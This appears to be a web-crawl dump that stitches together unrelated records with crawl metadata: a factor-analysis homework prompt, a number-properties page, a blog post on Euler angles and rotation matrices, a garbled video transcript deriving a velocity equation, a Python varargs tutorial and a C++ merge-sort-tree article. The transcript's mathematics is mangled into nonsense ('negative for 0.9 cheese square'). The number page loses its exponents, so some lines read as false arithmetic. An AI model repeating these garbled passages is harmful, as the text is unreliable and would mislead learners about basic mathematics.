"# Create a correlation matrix of all the variables\n\n## Create a correlation matrix of all the variables\n\nCreate a correlation matrix of all the variables 150 150 Nyagu\n\nFor this Practice Activity,\n\nUse all the variables in the dataset\nCreate a correlation matrix of all the variables\nWhich pairs are correlated?\nRun factor Analysis using all the variables\nObtain the scree plot & the Eigenvalue\nBased on the scree plot, how many factors are optimal?\nUnder the model launch test the number of factors that is optimal\nType 1 in the number of factors. Leave all the default settings, Select go. Report the estimates for the significant test. Is one factor sufficient?\nRepeat this step- click the arrow next to the Model Launch and type two in the number of factors box. Based on the significance test, are two factors sufficient?\nIf so, what at the variables loading on Factor 1 and Factor 2?\nWhat do you think these variables describe?",
null,
""
] | [
null,
"https://i0.wp.com/pronursingtutors.com/wp-content/uploads/2019/09/order-now-button-with-cards.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.837166,"math_prob":0.93170357,"size":960,"snap":"2021-43-2021-49","text_gpt3_token_len":193,"char_repetition_ratio":0.17573221,"word_repetition_ratio":0.0,"special_character_ratio":0.19166666,"punctuation_ratio":0.10055866,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99626166,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-11-30T10:01:20Z\",\"WARC-Record-ID\":\"<urn:uuid:8db44380-f7a2-4af5-9b7d-9cfbdb7f50a1>\",\"Content-Length\":\"177375\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2156137a-0854-4d74-a0f9-e6bf028244a0>\",\"WARC-Concurrent-To\":\"<urn:uuid:c5deace6-dc37-4319-af91-9d2c68b5ebf8>\",\"WARC-IP-Address\":\"188.165.239.140\",\"WARC-Target-URI\":\"https://pronursingtutors.com/create-a-correlation-matrix-of-all-the-variables/\",\"WARC-Payload-Digest\":\"sha1:B2BL4VLVLJ6P4Z47PSCU747D2RCOKVYC\",\"WARC-Block-Digest\":\"sha1:K3O63U4WUCQCPGIHK3CA6RWDFEW33223\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964358966.62_warc_CC-MAIN-20211130080511-20211130110511-00368.warc.gz\"}"} |
https://www.numbersaplenty.com/45511432015 | [
"Search a number\nBaseRepresentation\nbin101010011000101100…\n…010101011101001111\n311100110202210021220011\n4222120230111131033\n51221201411311030\n632524015534051\n73200546534500\noct523054253517\n9140422707804\n1045511432015\n1118335020535\n1289a182a327\n1343a3b6983a\n1422ba55cba7\n1512b57b3b2a\nhexa98b1574f\n\n45511432015 has 24 divisors (see below), whose sum is σ = 63910721952. Its totient is φ = 31020937920.\n\nThe previous prime is 45511432009. The next prime is 45511432033. The reversal of 45511432015 is 51023411554.\n\nIt is not a de Polignac number, because 45511432015 - 25 = 45511431983 is a prime.\n\nIt is a congruent number.\n\nIt is an unprimeable number.\n\nIt is a pernicious number, because its binary representation contains a prime number (19) of ones.\n\nIt is a polite number, since it can be written in 23 ways as a sum of consecutive naturals, for example, 515256 + ... + 597085.\n\nIt is an arithmetic number, because the mean of its divisors is an integer number (2662946748).\n\nAlmost surely, 245511432015 is an apocalyptic number.\n\n45511432015 is a deficient number, since it is larger than the sum of its proper divisors (18399289937).\n\n45511432015 is a wasteful number, since it uses less digits than its factorization.\n\n45511432015 is an odious number, because the sum of its binary digits is odd.\n\nThe sum of its prime factors is 1112527 (or 1112520 counting only the distinct ones).\n\nThe product of its (nonzero) digits is 12000, while the sum is 31.\n\nAdding to 45511432015 its reverse (51023411554), we get a palindrome (96534843569).\n\nThe spelling of 45511432015 in words is \"forty-five billion, five hundred eleven million, four hundred thirty-two thousand, fifteen\"."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.80677223,"math_prob":0.9541651,"size":1791,"snap":"2021-43-2021-49","text_gpt3_token_len":547,"char_repetition_ratio":0.15780638,"word_repetition_ratio":0.0,"special_character_ratio":0.47962034,"punctuation_ratio":0.13504823,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9920032,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-11-28T02:24:14Z\",\"WARC-Record-ID\":\"<urn:uuid:70f8d93a-5ae8-4a2f-a50d-dd4b7d8c826a>\",\"Content-Length\":\"9476\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9002281b-37f2-42de-95e2-71b515d942ea>\",\"WARC-Concurrent-To\":\"<urn:uuid:d6b1c920-9d3b-447b-9dd0-eba46a6c9c9e>\",\"WARC-IP-Address\":\"62.149.142.170\",\"WARC-Target-URI\":\"https://www.numbersaplenty.com/45511432015\",\"WARC-Payload-Digest\":\"sha1:P26TYLBNEIIHNRKEH6NSQCZQ4SZ74DAH\",\"WARC-Block-Digest\":\"sha1:XJVXDQ2HOJWE5LLDNDI3FWJZJTLB24RR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964358443.87_warc_CC-MAIN-20211128013650-20211128043650-00481.warc.gz\"}"} |
https://charlestytler.com/modeling-vehicle-dynamics-euler-angles/ | [
"# Modeling Vehicle Dynamics – Euler Angles\n\nThis post is the 1st in a series on modeling and simulation of a quadcopter’s vehicle dynamics. The full series will include all of the following posts:\n\n1. Modeling Vehicle Dynamics – Euler Angles\n2. Modeling Vehicle Dynamics – Quadcopter Equations of Motion\n3. Modeling Vehicle Dynamics – 6DOF Nonlinear Simulation\n\n## Six Degrees of Freedom (6DOF)\n\nFor this first part in developing the vehicle dynamics we’ll set the stage by describing the space in which we can express these dynamics. For a rigid body in a 3-D world we can describe the location of all points on the vehicle with 6 coordinates. The first 3 should be obvious: these are the",
null,
"$(x, y, z)$ coordinates which represent the distance of the object’s center of mass from some origin in the 3-D world. Starting out, we will assume a flat-Earth model, meaning our world the vehicle can move around in is assumed to be above flat ground, in a rectilinear coordinate system, and the gravity is constant. With constant gravity the center of mass will also be equivalent to the center of gravity (cg), so we will treat these terms as interchangeable.\n\nIf we are in a 3-D world, how can there be 6 degrees of freedom? Well, we may know the location of the vehicle’s cg, but we don’t know where the rest of the components of the vehicle are around that cg. Here is where the “rigid body” assumption comes in. The idea of a rigid body is that every point on the vehicle has a fixed location relative to the cg. The opposite of this would be a flexible body, where different points on the body are free to flex and vibrate and introduce additional dynamics to the system. The final 3 coordinates represent the orientation of the vehicle represented by three angles:",
null,
"$(\\phi,\\theta,\\psi)$. If we know all 6 coordinates then we can determine the location of the cg from",
null,
"$(x, y, z)$ and then from the orientation, or vehicle attitude as it’s also called, of",
null,
"$(\\phi, \\theta, \\psi)$, and we can determine the location of the rest of the vehicle in relation to the cg.",
null,
"A rigid body is assumed to have a constant relationship between all its points of mass. A flexible body model may be necessary for vehicles which have long, thin structures.\n\n## Representing Orientation\n\nThe 3 position vector components",
null,
"$(x, y, z)$ I think are easy enough to understand. This coordinate frame could be aligned with North, East, and vertical height and the values of the components would be some distance in each of those directions. But 3 coordinates that describe the attitude of a vehicle is not as intuitive to grasp. There are multiple means of representing orientation, but the two most common are Euler angles and quaternions. Euler angles are the simplest to understand as well as gain insight in to the system while analyzing its motion, and is the method we will use to derive our vehicle’s equations of motion. However they do have a limitation as for certain orientations an ambiguity arises where the three coordinates do not define a unique orientation. This singularity is referred to as gimbal-lock and can be mitigated by using quaternions instead. Often times simulations and controllers for vehicles will do their calculations in quaternions, but convert back to Euler angles for output because of their ease of use. I will discuss quaternions in more detail in a later post, but for now you can accept that Euler angles are sufficient to describe all the orientations of the vehicle we expect it to fly in.\n\nBefore we go into Euler angles we will first introduce the idea of multiple reference frames. For our model, there will be two reference frames (coordinate systems) we will care about:\n\n1. Inertial reference frame\nThis is fixed to the Earth and the coordinates could be based in cardinal directions (North, East), or arbitrary directions within a room floorplan. The main point is that it doesn’t move (due to our flat-Earth assumption). For now we will define the inertial frame with the coordinates",
null,
"$(x, y, z)$.\n2. Body-fixed reference frame\nRemember how we stated earlier that with a rigid body all components of the vehicle are fixed in relation to the cg? Well let’s define a coordinate system with its origin at the cg, and now we have a convenient way to describe how far away the propellers are, and in what direction they face with respect to the cg. We will define the body-fixed reference frame with the coordinates",
null,
"$(b_1, b_2, b_3)$ and align them with the structure such that b1 and b2 are aligned with symmetric axes of the body and b3 is in the vertical direction (parallel to the propeller motor axes) as shown here:",
null,
"Now that we have two reference frames, we need a way to switch between them. If we can establish a general relationship that allows us to transform from one set of coordinates to the other, then we can do calculations in whichever is most convenient. Then we can transform that solution to the other reference frame when needed. This is the same concept of rectangular and polar coordinates you may have encountered in grade school algebra classes: you can describe the same location in both, and use mathematical relationships to switch back and forth between them. But you learn to use both because each has different advantages for different situations. Our end goal is to use the two coordinates to separate out translational and rotational motion. We’ll keep track of the orientation of the vehicle by rotating the body-fixed frame about the vehicle cg and keep track of the vehicle’s location by translating the cg with respect to the inertial frame. The translation representation is simply the vector distance of the body frame from the inertial. To represent the orientation, however, we’ll need to use Euler angles.",
null,
"## Euler Angles\n\nThe idea of Euler angles is that one can represent any final orientation of a reference frame via a set of 3 sequential rotations about specific axes. Let’s try do an example rotation about different axes to get a feel for how this works. To get used to the matrix notation we will use to describe the rotations, let us first start with the trivial case where both coordinate frames have the same orientation.",
null,
"Here we are representing the coordinate frames with unit vectors [x, y, z] and [b1, b2, b3]. A convenient way to transform one vector to another is through matrix multiplication. When all 3 components are parallel to each other, it can be seen in the figure above that the transformation matrix is simply the identity matrix.\n\nNow, what if we rotate the body frame about one of its axes by a specific amount? We’ll see that the axis it rotates about remains parallel to the corresponding inertial axis. We can describe the other body frame axes with trigonometry as a function of the inertial components and the angle of rotation. These equations can be condensed again into a matrix multiplication expression as shown below, looking at each axis individually.",
null,
"The transformation matrix is referred to as a Direction Cosine Matrix (DCM) or Rotation Matrix which we will represent as R. These matrices are orthonormal (comprised of orthogonal unit vectors) and therefore have the property that RT = R-1.\n\nNow imagine that we perform those 3 rotations sequentially in the order of rotating about b3, then b2, then b1. The body frame will end up looking something like this:",
null,
"Notice how the second and third rotations are about axes which have already been rotated. This is why the order of Euler angles must be consistent. There are many sequences you can choose from and different disciplines have different standards. However once a sequence of the three angle rotations is chosen you must always transform them in that order, otherwise you may not get the correct final orientation. For our modeling we will follow the standard commonly used in the aircraft industry which uses Body 3-2-1 angles, as illustrated above.\n\nNow we’ll take advantage of the convenience of our matrix notation. A more rigorous explanation of the Euler angles would define each angle rotation as an intermediate reference frame. So for the",
null,
"$\\psi, \\phi, \\theta$ rotation shown above you would have 4 total reference frames. But for our modeling right now we are only really interested in the inertial frame and final body-fixed frame after all 3 Euler angle rotations. The usefulness of matrix transformations is they can be concatenated so we can simplify the 3 rotation matrices to a single matrix which transforms inertial frame coordinates to body frame coordinates. Notice below that the [x, y, z] vector is first premultiplied by the",
null,
"$\\psi$ rotation, then that is premultiplied by the",
null,
"$\\theta$ rotation, and finally that result is premultiplied by the",
null,
"$\\phi$ rotation matrix.",
null,
"$\\begin{bmatrix} b_1 \\\\ b_2 \\\\ b_3 \\end{bmatrix} = \\begin{bmatrix} 1 & 0 & 0 \\\\ 0 & cos(\\phi) & sin(\\phi) \\\\ 0 & -sin(\\phi) & cos(\\phi) \\end{bmatrix} \\begin{bmatrix} cos(\\theta) & 0 & -sin(\\theta) \\\\ 0 & 1 & 0 \\\\ sin(\\theta) & 0 & cos(\\theta) \\end{bmatrix} \\begin{bmatrix} cos(\\psi) & sin(\\psi) & 0 \\\\ -sin(\\psi) & cos(\\psi) & 0 \\\\ 0 & 0 & 1 \\end{bmatrix} \\begin{bmatrix} x\\\\y\\\\z \\end{bmatrix}$",
null,
"$\\begin{bmatrix} b_1 \\\\ b_2 \\\\ b_3 \\end{bmatrix} = \\begin{bmatrix} cos(\\theta)cos(\\psi) & cos(\\theta)sin(\\psi) & -sin(\\theta) \\\\ -cos(\\phi)sin(\\psi)+sin(\\phi)sin(\\theta)cos(\\psi) & cos(\\phi)cos(\\psi)+sin(\\phi)sin(\\theta)sin(\\psi) & sin(\\phi)cos(\\theta) \\\\ sin(\\phi)sin(\\psi)+cos(\\phi)sin(\\theta)cos(\\psi) & -sin(\\phi)cos(\\psi)+cos(\\phi)sin(\\theta)sin(\\psi) & cos(\\phi)cos(\\theta) \\end{bmatrix} \\begin{bmatrix} x\\\\y\\\\z \\end{bmatrix}$\n\nTo simplify our notation, I will use a variable",
null,
"$\\textbf{C}_{i}^{j}$ to refer to these coordinate transformations, where the transformation is from a reference frame",
null,
"$i$ to a different reference frame",
null,
"$j$. Therefore, the above matrix would be expressed as a transformation from the inertial frame,",
null,
"$n$ (as in navigation), to the body frame, designated",
null,
"$b$:",
null,
"$\\begin{bmatrix} b_1 \\\\ b_2 \\\\ b_3 \\end{bmatrix} = \\textbf{C}_{n}^{b} \\begin{bmatrix} x\\\\y\\\\z \\end{bmatrix}$\n\nNow, if we want to perform a rotation in the reverse direction, from body-fixed frame coordinates to inertial coordinates, we need to use the inverse of the matrix. But instead of calculating the inverse of the matrix we can take advantage of the orthogonal property we identified earlier: that the transpose of a rotation matrix is equal to the inverse. Therefore, the reverse rotation is simply:",
null,
"$\\begin{bmatrix} x\\\\y\\\\z \\end{bmatrix} = \\textbf{C}_{b}^{n} \\begin{bmatrix} b_1 \\\\ b_2 \\\\ b_3 \\end{bmatrix} = {[\\textbf{C}_{n}^{b}]}^{T} \\begin{bmatrix} b_1 \\\\ b_2 \\\\ b_3 \\end{bmatrix}$",
null,
"$\\begin{bmatrix} x\\\\y\\\\z \\end{bmatrix} = \\begin{bmatrix} cos(\\theta)cos(\\psi) & -cos(\\phi)sin(\\psi)+sin(\\phi)sin(\\theta)cos(\\psi) & sin(\\phi)sin(\\psi)+cos(\\phi)sin(\\theta)cos(\\psi)\\\\ cos(\\theta)sin(\\psi) & cos(\\phi)cos(\\psi)+sin(\\phi)sin(\\theta)sin(\\psi) & -sin(\\phi)cos(\\psi)+cos(\\phi)sin(\\theta)sin(\\psi) \\\\ -sin(\\theta) & sin(\\phi)cos(\\theta) & cos(\\phi)cos(\\theta) \\end{bmatrix} \\begin{bmatrix} b_1 \\\\ b_2 \\\\ b_3 \\end{bmatrix}$\n\nWe have now defined our inertial and body reference frames and how to transform coordinates in one frame into the other. Next we will look at how we can describe vehicle motion in these frames.\n\nFor more detailed derivations of these concepts, the following books are great references:\n\n Nelson, Robert C., Flight Stability and Automatic Control\n\n Stevens, Brian L. and Lewis, Frank L., Aircraft Control and Simulation\n\n## One thought on “Modeling Vehicle Dynamics – Euler Angles”\n\n1. You have a natural ability to define and explain a problem. I have read so many books and articles, but in my opinion your explanation is more meaningful, comparatively speaking."
] | [
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://i2.wp.com/charlestytler.com/wp-content/uploads/rigid_vs_flexible.png",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://i2.wp.com/charlestytler.com/wp-content/uploads/quad_CoordFrame.jpg",
null,
"https://i2.wp.com/charlestytler.com/wp-content/uploads/RefFrames.png",
null,
"https://i2.wp.com/charlestytler.com/wp-content/uploads/Angle_Identity_Matrix.png",
null,
"https://i1.wp.com/charlestytler.com/wp-content/uploads/Euler_Angle_DCM_Matrices_Color.png",
null,
"https://i0.wp.com/charlestytler.com/wp-content/uploads/Euler321.png",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
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"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
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"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
null,
"https://s0.wp.com/latex.php",
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"https://s0.wp.com/latex.php",
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"https://s0.wp.com/latex.php",
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"https://s0.wp.com/latex.php",
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"https://s0.wp.com/latex.php",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9172661,"math_prob":0.993782,"size":9730,"snap":"2020-45-2020-50","text_gpt3_token_len":1958,"char_repetition_ratio":0.15700185,"word_repetition_ratio":0.007255139,"special_character_ratio":0.195889,"punctuation_ratio":0.07929515,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.999231,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,5,null,null,null,null,null,null,null,5,null,5,null,5,null,5,null,5,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-28T13:35:42Z\",\"WARC-Record-ID\":\"<urn:uuid:f8a796d9-7513-47cc-9b1c-76df79850280>\",\"Content-Length\":\"68671\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:57a539d8-bda3-441c-bd56-5365da7e2fe4>\",\"WARC-Concurrent-To\":\"<urn:uuid:0abb1f08-a3cc-45af-b1a2-4b03f8d86087>\",\"WARC-IP-Address\":\"104.200.133.138\",\"WARC-Target-URI\":\"https://charlestytler.com/modeling-vehicle-dynamics-euler-angles/\",\"WARC-Payload-Digest\":\"sha1:6BVNZHE6Q2FUTDBNJSY6VMUUMFS3DYTP\",\"WARC-Block-Digest\":\"sha1:W4LGONRQ6DMRQHTNTNOGULQ25V62QKVF\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107898577.79_warc_CC-MAIN-20201028132718-20201028162718-00569.warc.gz\"}"} |
https://www.numerade.com/questions/an-object-is-projected-upward-with-initiall-velocity-v_0-meters-per-second-from-a-point-s_0-meters-a/ | [
"💬 👋 We’re always here. Join our Discord to connect with other students 24/7, any time, night or day.Join Here!\n\n# An object is projected upward with initiall velocity $v_0$ meters per second from a point $s_0$ meters above the ground. Show that$$[v(t)]^2 = v_0^2 - 19.6[s(t) - s_0]$$\n\n## $$[v(t)]^{2}=v_{0}^{2}-19.6\\left[s(t)-s_{0}\\right]$$\n\nDerivatives\n\nDifferentiation\n\nVolume\n\n### Discussion\n\nYou must be signed in to discuss.\n##### Kristen K.\n\nUniversity of Michigan - Ann Arbor\n\n##### Samuel H.\n\nUniversity of Nottingham\n\nLectures\n\nJoin Bootcamp\n\n### Video Transcript\n\nrecall the fact that acceleration a of t is negative. 9.8 in the units are meters per second squared. So we know that velocity is the integral of accelerations of the integral of negative 9.8 d t. Thus, if we integrate, we know the equation would be negative 9.8 times the variable of tea, plus our constant of C. Therefore, we know he can write this as position being the integral of velocity and we can write via, oh, as our constant. You know, its initial velocity. This is negative for 0.9 cheese square plus v a vote times are very bulls t plus c. Then we know, but we can write V F G squared is equivalent to vivo squared. Remember, this is initial velocity squared minus 99 point in terms to 19 point sex. And then this is Asif teed position minus initial position. That's us of O\n\n#### Topics\n\nDerivatives\n\nDifferentiation\n\nVolume\n\n##### Kristen K.\n\nUniversity of Michigan - Ann Arbor\n\n##### Samuel H.\n\nUniversity of Nottingham\n\nLectures\n\nJoin Bootcamp"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.89588743,"math_prob":0.986857,"size":1141,"snap":"2021-43-2021-49","text_gpt3_token_len":306,"char_repetition_ratio":0.11433597,"word_repetition_ratio":0.0,"special_character_ratio":0.27432078,"punctuation_ratio":0.10788382,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9971985,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-20T15:41:44Z\",\"WARC-Record-ID\":\"<urn:uuid:72b70bef-6d4d-4a5e-b56b-beee1c88c5b6>\",\"Content-Length\":\"124236\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2d552e8a-989c-42b1-bdeb-29d8b3bd5c06>\",\"WARC-Concurrent-To\":\"<urn:uuid:d33ade3d-7a98-424a-ab32-8a1bb8735aba>\",\"WARC-IP-Address\":\"52.25.172.176\",\"WARC-Target-URI\":\"https://www.numerade.com/questions/an-object-is-projected-upward-with-initiall-velocity-v_0-meters-per-second-from-a-point-s_0-meters-a/\",\"WARC-Payload-Digest\":\"sha1:DF4JJGVBWIKYVFHARL5VSSWR6AGV3EZO\",\"WARC-Block-Digest\":\"sha1:F7XRIZ4F664B7C4KEZ3B34CMOG76225D\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585322.63_warc_CC-MAIN-20211020152307-20211020182307-00470.warc.gz\"}"} |
http://www.programmingtrick.com/tutorial-python-varargs-parameters | [
"#### VarArgs Parameters (Variable-Length Arguments)\n\nIn some instances you might need to pass more arguments than have already been specified. Going back to the function to redefine it can be a tedious process. Variable-Length arguments can be used instead. These are not specified in the function’s definition and an asterisk (*) is used to define such arguments.\n\nLets see what happens when we pass more than 3 arguments in the sum() function.\n\nExample:\n\n`def sum(x,y,z):\tprint(\"sum of three nos :\",x+y+z)sum(5,10,15,20,25)`\n\nWhen the above code is executed, it produces the following result :\n\nTypeError: sum() takes 3 positional arguments but 5 were given\n\nSyntax - Variable-Length Arguments\n\n`def function_name(*args):\tfunction_body\treturn_statement`\n\nExample:\n\n`def printnos (*nos):\tfor n in nos:\tprint(n)\treturn# now invoking the printnos() functionprint ('Printing two values')printnos (1,2)print ('Printing three values')printnos (10,20,30)`\n\nOutput:\n\nPrinting two values\n\n1\n\n2\n\nPrinting three values\n\n10\n\n20\n\n30"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.63484174,"math_prob":0.9322579,"size":1017,"snap":"2020-34-2020-40","text_gpt3_token_len":240,"char_repetition_ratio":0.13820335,"word_repetition_ratio":0.0,"special_character_ratio":0.25073746,"punctuation_ratio":0.13402061,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9743993,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-10T11:26:07Z\",\"WARC-Record-ID\":\"<urn:uuid:975730b2-3a38-49f3-a0e1-81619a13faaf>\",\"Content-Length\":\"17290\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:eeabe74a-26af-467d-97e6-5dcb0feaec45>\",\"WARC-Concurrent-To\":\"<urn:uuid:17069e92-0b4b-412d-b4be-83e878ddd088>\",\"WARC-IP-Address\":\"43.255.154.96\",\"WARC-Target-URI\":\"http://www.programmingtrick.com/tutorial-python-varargs-parameters\",\"WARC-Payload-Digest\":\"sha1:WVPYAYLSSWV2XCEMD653AQ7Q5O4AWX62\",\"WARC-Block-Digest\":\"sha1:BUKGC7DG4QGZEUQ34OVMFJICZQYAXA5S\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439738674.42_warc_CC-MAIN-20200810102345-20200810132345-00103.warc.gz\"}"} |
https://www.geeksforgeeks.org/queries-to-check-if-any-non-repeating-element-exists-within-range-l-r-of-an-array/?ref=rp | [
"Related Articles\n\n# Queries to check if any non-repeating element exists within range [L, R] of an Array\n\n• Difficulty Level : Basic\n• Last Updated : 24 Jul, 2020\n\nGiven an array arr[] consisting of integers and queries Q of the form (L, R), the task is to check whether any non-repeating element is present within indices [L, R](1 based indexing) or not. If there is at least one non-repeating element, then print “Yes”. Otherwise, print “No”.\n\nExamples:\n\nInput: arr[] = {1, 2, 1, 2, 3, 4}, Queries[][] = {{1, 4}, {1, 5}}\nOutput: No Yes\nExplanation:\nFor the first query, the subarray is {1, 2, 1, 2}, we can see that both number have frequency 2. Therefore, the answer is No.\nFor the second query, the subarray is {1, 2, 1, 2, 3}, we can see that 3 has frequency 1 so the answer is Yes.\n\nInput: arr[] = {1, 2, 3, 4, 5}, Queries[][] = {{1, 4}}\nOutput: Yes\nExplanation: The subarray is {1, 2, 3, 4}, has all elements as frequency 1 so the answer is Yes.\n\n## Recommended: Please try your approach on {IDE} first, before moving on to the solution.\n\nNaive Approach:\nThe simplest approach to solve the problem is to iterate over a given subarray for each query and maintain a map for storing the frequency of each element. Iterate over the map and check whether there is an element of frequency 1 or not.\n\nTime Complexity: O(Q * N)\nAuxiliary Space Complexity: O(N)\n\nEfficient Approach: The key observation for the solution is, for the element to have frequency 1 in the given array, the previous occurrence of this number in the array is strictly less than the query l and next occurrence of the element is strictly greater than r of some query. Use this observation to find order. Below are the steps that use the Merge Sort Tree approach to solve the given problem:\n\n1. Store the previous occurrence and next occurrence of every ith element in the array as pair\n2. Build the merge sort tree and merge nodes in them according to the previous occurrence. The merge function is used to merge the ranges.\n3. At each node of merge sort tree, maintain prefix maximum on the next occurrence because we need as smallest possible previous occurrence and as big next occurrence of some element.\n4. For answering the query, we need node with previous occurrence strictly less than l.\n5. For the element in the merge sort tree with the previous occurrence less than l, find the max next occurrence and check if next occurrence is greater than r of the query, then there is an element present in the subarray with frequency 1.\n\nBelow is the implementation of the above approach:\n\n## CPP\n\n `// C++ program for the above approach``#include ``using` `namespace` `std;`` ` `const` `int` `INF = 1e9 + 9;``const` `int` `N = 1e5 + 5;`` ` `// Merge sort of pair type for storing``// prev and next occurrences of element``vector > > segtree(4 * N);`` ` `// Stores the occurrences``vector > occurrences(N);`` ` `// Finds occurrences``vector > pos(N);`` ` `int` `n;`` ` `// Function to build merge sort tree``void` `build(``int` `node = 0, ``int` `l = 0,`` ``int` `r = n - 1)``{`` ` ` ``// For leaf node, push the prev &`` ``// next occurrence of the lth node`` ``if` `(l == r) {`` ``segtree[node].push_back(occurrences[l]);`` ``return``;`` ``}`` ` ` ``int` `mid = (l + r) / 2;`` ` ` ``// Left recursion call`` ``build(2 * node + 1, l, mid);`` ` ` ``// Right recursion call`` ``build(2 * node + 2, mid + 1, r);`` ` ` ``// Merging the left child and right child`` ``// according to the prev occurrence`` ``merge(segtree[2 * node + 1].begin(),`` ``segtree[2 * node + 1].end(),`` ``segtree[2 * node + 2].begin(),`` ``segtree[2 * node + 2].end(),`` ``back_inserter(segtree[node]));`` ` ` ``// Update the next occurrence`` ``// with prefix maximum`` ``int` `mx = 0;`` ` ` ``for` `(``auto``& i : segtree[node]) {`` ` ` ``// Update the maximum`` ``// next occurrence`` ``mx = max(mx, i.second);`` ` ` ``// Update the next occurrence`` ``// with prefix max`` ``i.second = mx;`` ``}``}`` ` `// Function to check whether an``// element is present from x to y``// with frequency 1``bool` `query(``int` `x, ``int` `y, ``int` `node = 0,`` ``int` `l = 0, ``int` `r = n - 1)``{`` ``// No overlap condition`` ``if` `(l > y || r < x || x > y)`` ``return` `false``;`` ` ` ``// Complete overlap condition`` ``if` `(x <= l && r <= y) {`` ` ` ``// Find the first node with`` ``// prev occurrence >= x`` ``auto` `it = lower_bound(segtree[node].begin(),`` ``segtree[node].end(),`` ``make_pair(x, -1));`` ` ` ``// No element in this range with`` ``// previous occurrence less than x`` ``if` `(it == segtree[node].begin())`` ``return` `false``;`` ` ` ``else` `{`` ` ` ``it--;`` ` ` ``// Check if the max next`` ``// occurrence is greater`` ``// than y or not`` ``if` `(it->second > y)`` ``return` `true``;`` ``else`` ``return` `false``;`` ``}`` ``}`` ` ` ``int` `mid = (l + r) / 2;`` ``bool` `a = query(x, y, 2 * node + 1, l, mid);`` ``bool` `b = query(x, y, 2 * node + 2, mid + 1, r);`` ` ` ``// Return if any of the`` ``// children returned true`` ``return` `(a | b);``}`` ` `// Function do preprocessing that``// is finding the next and previous``// occurrences``void` `preprocess(``int` `arr[])``{`` ` ` ``// Store the position of`` ``// every element`` ``for` `(``int` `i = 0; i < n; i++) {`` ``pos[arr[i]].insert(i);`` ``}`` ` ` ``for` `(``int` `i = 0; i < n; i++) {`` ` ` ``// Find the previous`` ``// and next occurrences`` ``auto` `it = pos[arr[i]].find(i);`` ``if` `(it == pos[arr[i]].begin())`` ``occurrences[i].first = -INF;`` ` ` ``else`` ``occurrences[i].first = *prev(it);`` ` ` ``// Check if there is no next occurrence`` ``if` `(next(it) == pos[arr[i]].end())`` ` ` ``occurrences[i].second = INF;`` ``else`` ``occurrences[i].second = *next(it);`` ``}`` ` ` ``// Building the merge sort tree`` ``build();``}`` ` `// Function to find whether there is a``// number in the subarray with 1 frequency``void` `answerQueries(``int` `arr[],`` ``vector >& queries)``{`` ``preprocess(arr);`` ` ` ``// Answering the queries`` ``for` `(``int` `i = 0; i < queries.size(); i++) {`` ``int` `l = queries[i].first - 1;`` ``int` `r = queries[i].second - 1;`` ` ` ``bool` `there = query(l, r);`` ` ` ``if` `(there == ``true``)`` ``cout << ``\"Yes\\n\"``;`` ` ` ``else`` ``cout << ``\"No\\n\"``;`` ``}``}`` ` `// Driver Code``int` `main()``{`` ``int` `arr[] = { 1, 2, 1, 2, 3, 4 };`` ``n = ``sizeof``(arr) / ``sizeof``(arr);`` ` ` ``vector > queries = { { 1, 4 }, { 1, 5 } };`` ` ` ``answerQueries(arr, 